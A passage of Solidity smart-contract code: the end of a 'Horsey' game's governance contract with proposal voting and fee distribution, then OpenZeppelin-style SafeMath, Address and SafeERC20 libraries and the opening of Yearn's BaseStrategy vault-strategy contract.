if( currentProposal.nay.length >= votingThreshold )
{
proposalInProgress = false;
cooldownStart = block.timestamp;
return;
}
}
}
/**
@dev Helps moving pending balance from one role to another
@param newAddress the address to transfer the pending balance from the msg.sender account
*/
function _moveBalance(address newAddress) internal
validAddress(newAddress) {
require(newAddress != msg.sender); /// @dev IMPORTANT or else the account balance gets reset here!
_cBalance[newAddress] = _cBalance[msg.sender];
_cBalance[msg.sender] = 0;
}
/**
@dev Called at the start of withdraw to distribute any pending balances that live in the contract
will only ever be called if balance is non-zero (funds should be distributed)
*/
function _updateDistribution() internal {
require(toBeDistributed != 0,"nothing to distribute");
uint256 knightPayday = toBeDistributed / 100 * knightEquity;
uint256 paladinPayday = toBeDistributed / 100 * paladinEquity;
/// @dev due to the equities distribution, queen gets the remaining value
uint256 jokerPayday = toBeDistributed - knightPayday - paladinPayday;
_cBalance[jokerAddress] = _cBalance[jokerAddress] + jokerPayday;
_cBalance[knightAddress] = _cBalance[knightAddress] + knightPayday;
_cBalance[paladinAddress] = _cBalance[paladinAddress] + paladinPayday;
//Reset balance to 0
toBeDistributed = 0;
}
/**
@dev Execute the proposal
*/
function _doProposal() internal {
/// UPDATE the renaming cost
if( currentProposal.methodId == 0 ) HorseyToken(tokenAddress).setRenamingCosts(currentProposal.parameter);
/// UPDATE the market fees
if( currentProposal.methodId == 1 ) HorseyExchange(exchangeAddress).setMarketFees(currentProposal.parameter);
/// UPDATE the legit dev addresses list
if( currentProposal.methodId == 2 ) HorseyToken(tokenAddress).addLegitRaceAddress(address(currentProposal.parameter));
/// ADD a horse index to exchange
if( currentProposal.methodId == 3 ) HorseyToken(tokenAddress).addHorseIndex(bytes32(currentProposal.parameter));
/// PAUSE/UNPAUSE the dApp
if( currentProposal.methodId == 4 ) {
if(currentProposal.parameter == 0) {
HorseyExchange(exchangeAddress).unpause();
HorseyToken(tokenAddress).unpause();
} else {
HorseyExchange(exchangeAddress).pause();
HorseyToken(tokenAddress).pause();
}
}
/// UPDATE the claiming fees
if( currentProposal.methodId == 5 ) HorseyToken(tokenAddress).setClaimingCosts(currentProposal.parameter);
/// UPDATE carrots multiplier
if( currentProposal.methodId == 8 ){
HorseyToken(tokenAddress).setCarrotsMultiplier(uint8(currentProposal.parameter));
}
/// UPDATE rarity multiplier
if( currentProposal.methodId == 9 ){
HorseyToken(tokenAddress).setRarityMultiplier(uint8(currentProposal.parameter));
}
emit ProposalPassed(currentProposal.methodId,currentProposal.parameter,currentProposal.proposer);
}
/// @dev requires the address to be non null
modifier validAddress(address addr) {
require(addr != address(0),"Address is zero");
_;
}
/// @dev requires the sender to be on the contract owners list
modifier onlyCLevelAccess() {
require((jokerAddress == msg.sender) || (knightAddress == msg.sender) || (paladinAddress == msg.sender),"not c level");
_;
}
/// @dev requires that a proposal is not in process or has exceeded its lifetime, and has cooled down
/// after being vetoed
modifier proposalAvailable(){
require(((!proposalInProgress) || ((block.timestamp - currentProposal.timestamp) > proposalLife)),"proposal already pending");
_;
}
// @dev requries that if this proposer was the last proposer, that he or she has reached the
// cooldown limit
modifier cooledDown( ){
if(msg.sender == currentProposal.proposer && (block.timestamp - cooldownStart < 1 days)){
revert("Cool down period not passed yet");
}
_;
}
/// @dev requires a proposal to be active
modifier proposalPending() {
require(proposalInProgress,"no proposal pending");
_;
}
/// @dev requires the voter to not have voted already
modifier notVoted() {
uint256 length = currentProposal.yay.length;
for(uint i = 0; i < length; i++) {
if(currentProposal.yay[i] == msg.sender) {
revert("Already voted");
}
}
length = currentProposal.nay.length;
for(i = 0; i < length; i++) {
if(currentProposal.nay[i] == msg.sender) {
revert("Already voted");
}
}
_;
}
/// @dev requires the voter to not have voted already
modifier onlyVoters() {
bool found = false;
uint256 length = voters.length;
for(uint i = 0; i < length; i++) {
if(voters[i] == msg.sender) {
found = true;
break;
}
}
if(!found) {
revert("not a voter");
}
_;
}
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|
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.3._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.3._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
pragma experimental ABIEncoderV2;
struct StrategyParams {
uint256 performanceFee;
uint256 activation;
uint256 debtRatio;
uint256 minDebtPerHarvest;
uint256 maxDebtPerHarvest;
uint256 lastReport;
uint256 totalDebt;
uint256 totalGain;
uint256 totalLoss;
}
interface VaultAPI is IERC20 {
function name() external view returns (string calldata);
function symbol() external view returns (string calldata);
function decimals() external view returns (uint256);
function apiVersion() external pure returns (string memory);
function permit(
address owner,
address spender,
uint256 amount,
uint256 expiry,
bytes calldata signature
) external returns (bool);
// NOTE: Vyper produces multiple signatures for a given function with "default" args
function deposit() external returns (uint256);
function deposit(uint256 amount) external returns (uint256);
function deposit(uint256 amount, address recipient) external returns (uint256);
// NOTE: Vyper produces multiple signatures for a given function with "default" args
function withdraw() external returns (uint256);
function withdraw(uint256 maxShares) external returns (uint256);
function withdraw(uint256 maxShares, address recipient) external returns (uint256);
function token() external view returns (address);
function strategies(address _strategy) external view returns (StrategyParams memory);
function pricePerShare() external view returns (uint256);
function totalAssets() external view returns (uint256);
function depositLimit() external view returns (uint256);
function maxAvailableShares() external view returns (uint256);
/**
* View how much the Vault would increase this Strategy's borrow limit,
* based on its present performance (since its last report). Can be used to
* determine expectedReturn in your Strategy.
*/
function creditAvailable() external view returns (uint256);
/**
* View how much the Vault would like to pull back from the Strategy,
* based on its present performance (since its last report). Can be used to
* determine expectedReturn in your Strategy.
*/
function debtOutstanding() external view returns (uint256);
/**
* View how much the Vault expect this Strategy to return at the current
* block, based on its present performance (since its last report). Can be
* used to determine expectedReturn in your Strategy.
*/
function expectedReturn() external view returns (uint256);
/**
* This is the main contact point where the Strategy interacts with the
* Vault. It is critical that this call is handled as intended by the
* Strategy. Therefore, this function will be called by BaseStrategy to
* make sure the integration is correct.
*/
function report(
uint256 _gain,
uint256 _loss,
uint256 _debtPayment
) external returns (uint256);
/**
* This function should only be used in the scenario where the Strategy is
* being retired but no migration of the positions are possible, or in the
* extreme scenario that the Strategy needs to be put into "Emergency Exit"
* mode in order for it to exit as quickly as possible. The latter scenario
* could be for any reason that is considered "critical" that the Strategy
* exits its position as fast as possible, such as a sudden change in
* market conditions leading to losses, or an imminent failure in an
* external dependency.
*/
function revokeStrategy() external;
/**
* View the governance address of the Vault to assert privileged functions
* can only be called by governance. The Strategy serves the Vault, so it
* is subject to governance defined by the Vault.
*/
function governance() external view returns (address);
/**
* View the management address of the Vault to assert privileged functions
* can only be called by management. The Strategy serves the Vault, so it
* is subject to management defined by the Vault.
*/
function management() external view returns (address);
/**
* View the guardian address of the Vault to assert privileged functions
* can only be called by guardian. The Strategy serves the Vault, so it
* is subject to guardian defined by the Vault.
*/
function guardian() external view returns (address);
}
/**
* This interface is here for the keeper bot to use.
*/
interface StrategyAPI {
function name() external view returns (string memory);
function vault() external view returns (address);
function want() external view returns (address);
function apiVersion() external pure returns (string memory);
function keeper() external view returns (address);
function isActive() external view returns (bool);
function delegatedAssets() external view returns (uint256);
function estimatedTotalAssets() external view returns (uint256);
function tendTrigger(uint256 callCost) external view returns (bool);
function tend() external;
function harvestTrigger(uint256 callCost) external view returns (bool);
function harvest() external;
event Harvested(uint256 profit, uint256 loss, uint256 debtPayment, uint256 debtOutstanding);
}
/**
* @title Yearn Base Strategy
* @author yearn.finance
* @notice
* BaseStrategy implements all of the required functionality to interoperate
* closely with the Vault contract. This contract should be inherited and the
* abstract methods implemented to adapt the Strategy to the particular needs
* it has to create a return.
*
* Of special interest is the relationship between `harvest()` and
* `vault.report()'. `harvest()` may be called simply because enough time has
* elapsed since the last report, and not because any funds need to be moved
* or positions adjusted. This is critical so that the Vault may maintain an
* accurate picture of the Strategy's performance. See `vault.report()`,
* `harvest()`, and `harvestTrigger()` for further details.
*/
abstract contract BaseStrategy {
using SafeMath for uint256;
using SafeERC20 for IERC20;
string public metadataURI;
/**
* @notice
* Used to track which version of `StrategyAPI` this Strategy
* implements.
* @dev The Strategy's version must match the Vault's `API_VERSION`.
* @return A string which holds the current API version of this contract.
*/
function apiVersion() public pure returns (string memory) {
return "0.3.4";
}
/**
* @notice This Strategy's name.
* @dev
* You can use this field to manage the "version" of this Strategy, e.g.
* `StrategySomethingOrOtherV1`. However, "API Version" is managed by
* `apiVersion()` function above.
* @return This Strategy's name.
*/
function name() external virtual view returns (string memory);
/**
* @notice
* The amount (priced in want) of the total assets managed by this strategy should not count
* towards Yearn's TVL calculations.
* @dev
* You can override this field to set it to a non-zero value if some of the assets of this
* Strategy is somehow delegated inside another part of of Yearn's ecosystem e.g. another Vault.
* Note that this value must be strictly less than or equal to the amount provided by
* `estimatedTotalAssets()` below, as the TVL calc will be total assets minus delegated assets.
* Also note that this value is used to determine the total assets under management by this
* strategy, for the purposes of computing the management fee in `Vault`
* @return
* The amount of assets this strategy manages that should not be included in Yearn's Total Value
* Locked (TVL) calculation across it's ecosystem.
*/
function delegatedAssets() external virtual view returns (uint256) {
return 0;
}
VaultAPI public vault;
address public strategist;
address public rewards;
address public keeper;
IERC20 public want;
// So indexers can keep track of this
event Harvested(uint256 profit, uint256 loss, uint256 debtPayment, uint256 debtOutstanding);
event UpdatedStrategist(address newStrategist);
event UpdatedKeeper(address newKeeper);
event UpdatedRewards(address rewards);
event UpdatedMinReportDelay(uint256 delay);
event UpdatedMaxReportDelay(uint256 delay);
event UpdatedProfitFactor(uint256 profitFactor);
event UpdatedDebtThreshold(uint256 debtThreshold);
event EmergencyExitEnabled();
event UpdatedMetadataURI(string metadataURI);
// The minimum number of seconds between harvest calls. See
// `setMinReportDelay()` for more details.
uint256 public minReportDelay;
// The maximum number of seconds between harvest calls. See
// `setMaxReportDelay()` for more details.
uint256 public maxReportDelay;
// The minimum multiple that `callCost` must be above the credit/profit to
// be "justifiable". See `setProfitFactor()` for more details.
uint256 public profitFactor;
// Use this to adjust the threshold at which running a debt causes a
// harvest trigger. See `setDebtThreshold()` for more details.
uint256 public debtThreshold;
// See note on `setEmergencyExit()`.
bool public emergencyExit;
// modifiers
modifier onlyAuthorized() {
require(msg.sender == strategist || msg.sender == governance(), "!authorized");
_;
}
modifier onlyStrategist() {
require(msg.sender == strategist, "!strategist");
_;
}
modifier onlyGovernance() {
require(msg.sender == governance(), "!authorized");
_;
}
modifier onlyKeepers() {
require(
msg.sender == keeper ||
msg.sender == strategist ||
msg.sender == governance() ||
msg.sender == vault.guardian() ||
msg.sender == vault.management(),
"!authorized"
);
_;
}
constructor(address _vault) public {
_initialize(_vault, msg.sender, msg.sender, msg.sender);
}
/**
* @notice
* Initializes the Strategy, this is called only once, when the
* contract is deployed.
* @dev `_vault` should implement `VaultAPI`.
* @param _vault The address of the Vault responsible for this Strategy.
*/
function _initialize(
address _vault,
address _strategist,
address _rewards,
address _keeper
) internal {
require(address(want) == address(0), "Strategy already initialized");
vault = VaultAPI(_vault);
want = IERC20(vault.token());
want.safeApprove(_vault, uint256(-1)); // Give Vault unlimited access (might save gas)
strategist = _strategist;
rewards = _rewards;
keeper = _keeper;
// initialize variables
minReportDelay = 0;
maxReportDelay = 86400;
profitFactor = 100;
debtThreshold = 0;
vault.approve(rewards, uint256(-1)); // Allow rewards to be pulled
}
/**
* @notice
* Used to change `strategist`.
*
* This may only be called by governance or the existing strategist.
* @param _strategist The new address to assign as `strategist`.
*/
function setStrategist(address _strategist) external onlyAuthorized {
require(_strategist != address(0));
strategist = _strategist;
emit UpdatedStrategist(_strategist);
}
/**
* @notice
* Used to change `keeper`.
*
* `keeper` is the only address that may call `tend()` or `harvest()`,
* other than `governance()` or `strategist`. However, unlike
* `governance()` or `strategist`, `keeper` may *only* call `tend()`
* and `harvest()`, and no other authorized functions, following the
* principle of least privilege.
*
* This may only be called by governance or the strategist.
* @param _keeper The new address to assign as `keeper`.
*/
function setKeeper(address _keeper) external onlyAuthorized {
require(_keeper != address(0));
keeper = _keeper;
emit UpdatedKeeper(_keeper);
}
/**
* @notice
* Used to change `rewards`. EOA or smart contract which has the permission
* to pull rewards from the vault.
*
* This may only be called by the strategist.
* @param _rewards The address to use for pulling rewards.
*/
function setRewards(address _rewards) external onlyStrategist {
require(_rewards != address(0));
vault.approve(rewards, 0);
rewards = _rewards;
vault.approve(rewards, uint256(-1));
emit UpdatedRewards(_rewards);
}
/**
* @notice
* Used to change `minReportDelay`. `minReportDelay` is the minimum number
* of blocks that should pass for `harvest()` to be called.
*
* For external keepers (such as the Keep3r network), this is the minimum
* time between jobs to wait. (see `harvestTrigger()`
* for more details.)
*
* This may only be called by governance or the strategist.
* @param _delay The minimum number of seconds to wait between harvests.
*/
function setMinReportDelay(uint256 _delay) external onlyAuthorized {
minReportDelay = _delay;
emit UpdatedMinReportDelay(_delay);
}
/**
* @notice
* Used to change `maxReportDelay`. `maxReportDelay` is the maximum number
* of blocks that should pass for `harvest()` to be called.
*
* For external keepers (such as the Keep3r network), this is the maximum
* time between jobs to wait. (see `harvestTrigger()`
* for more details.)
*
* This may only be called by governance or the strategist.
* @param _delay The maximum number of seconds to wait between harvests.
*/
function setMaxReportDelay(uint256 _delay) external onlyAuthorized {
maxReportDelay = _delay;
emit UpdatedMaxReportDelay(_delay);
}
/**
* @notice
* Used to change `profitFactor`. `profitFactor` is used to determine
* if it's worthwhile to harvest, given gas costs. (See `harvestTrigger()`
* for more details.)
*
* This may only be called by governance or the strategist.
* @param _profitFactor A ratio to multiply anticipated
* `harvest()` gas cost against.
*/
function setProfitFactor(uint256 _profitFactor) external onlyAuthorized {
profitFactor = _profitFactor;
emit UpdatedProfitFactor(_profitFactor);
}
/**
* @notice
* Sets how far the Strategy can go into loss without a harvest and report
* being required.
*
* By default this is 0, meaning any losses would cause a harvest which
* will subsequently report the loss to the Vault for tracking. (See
* `harvestTrigger()` for more details.)
*
* This may only be called by governance or the strategist.
* @param _debtThreshold How big of a loss this Strategy may carry without
* being required to report to the Vault.
*/
function setDebtThreshold(uint256 _debtThreshold) external onlyAuthorized {
debtThreshold = _debtThreshold;
emit UpdatedDebtThreshold(_debtThreshold);
}
/**
* @notice
* Used to change `metadataURI`. `metadataURI` is used to store the URI
* of the file describing the strategy.
*
* This may only be called by governance or the strategist.
* @param _metadataURI The URI that describe the strategy.
*/
function setMetadataURI(string calldata _metadataURI) external onlyAuthorized {
metadataURI = _metadataURI;
emit UpdatedMetadataURI(_metadataURI);
}
/**
* Resolve governance address from Vault contract, used to make assertions
* on protected functions in the Strategy.
*/
function governance() internal view returns (address) {
return vault.governance();
}
/**
* @notice
* Provide an accurate estimate for the total amount of assets
* (principle + return) that this Strategy is currently managing,
* denominated in terms of `want` tokens.
*
* This total should be "realizable" e.g. the total value that could
* *actually* be obtained from this Strategy if it were to divest its
* entire position based on current on-chain conditions.
* @dev
* Care must be taken in using this function, since it relies on external
* systems, which could be manipulated by the attacker to give an inflated
* (or reduced) value produced by this function, based on current on-chain
* conditions (e.g. this function is possible to influence through
* flashloan attacks, oracle manipulations, or other DeFi attack
* mechanisms).
*
* It is up to governance to use this function to correctly order this
* Strategy relative to its peers in the withdrawal queue to minimize
* losses for the Vault based on sudden withdrawals. This value should be
* higher than the total debt of the Strategy and higher than its expected
* value to be "safe".
* @return The estimated total assets in this Strategy.
*/
function estimatedTotalAssets() public virtual view returns (uint256);
/*
* @notice
* Provide an indication of whether this strategy is currently "active"
* in that it is managing an active position, or will manage a position in
* the future. This should correlate to `harvest()` activity, so that Harvest
* events can be tracked externally by indexing agents.
* @return True if the strategy is actively managing a position.
*/
function isActive() public view returns (bool) {
return vault.strategies(address(this)).debtRatio > 0 || estimatedTotalAssets() > 0;
}
/**
* Perform any Strategy unwinding or other calls necessary to capture the
* "free return" this Strategy has generated since the last time its core
* position(s) were adjusted. Examples include unwrapping extra rewards.
